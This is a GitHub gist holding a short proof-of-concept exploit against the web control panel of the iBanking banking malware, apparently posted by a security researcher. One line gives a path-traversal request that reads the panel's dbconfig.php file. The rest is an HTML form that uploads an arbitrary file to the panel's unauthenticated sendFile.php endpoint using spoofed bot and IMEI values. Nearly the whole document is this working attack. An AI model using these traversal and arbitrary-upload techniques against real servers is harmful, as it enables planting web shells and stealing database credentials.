Skip to content

Instantly share code, notes, and snippets.

@Xyl2k
Created October 6, 2014 06:47
Show Gist options
  • Save Xyl2k/9a75b885766ae0fc6046 to your computer and use it in GitHub Desktop.
Save Xyl2k/9a75b885766ae0fc6046 to your computer and use it in GitHub Desktop.
iBanking panel upload vulnerability
<!-- iBanking panel upload vulnerability -->
<!-- get.php?p=..&i=.&f=dbconfig.php -->
<form method="POST" action="http://localhost/smsbot/sendFile.php" enctype="multipart/form-data">
FiLEZ: <input type="file" name="uploadedfile" /><br />
<input type="hidden" name="bot_id" value="500" />
<input type="hidden" name="imei" value="000000000000000" />
<input type="submit" value="Pwn" />
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment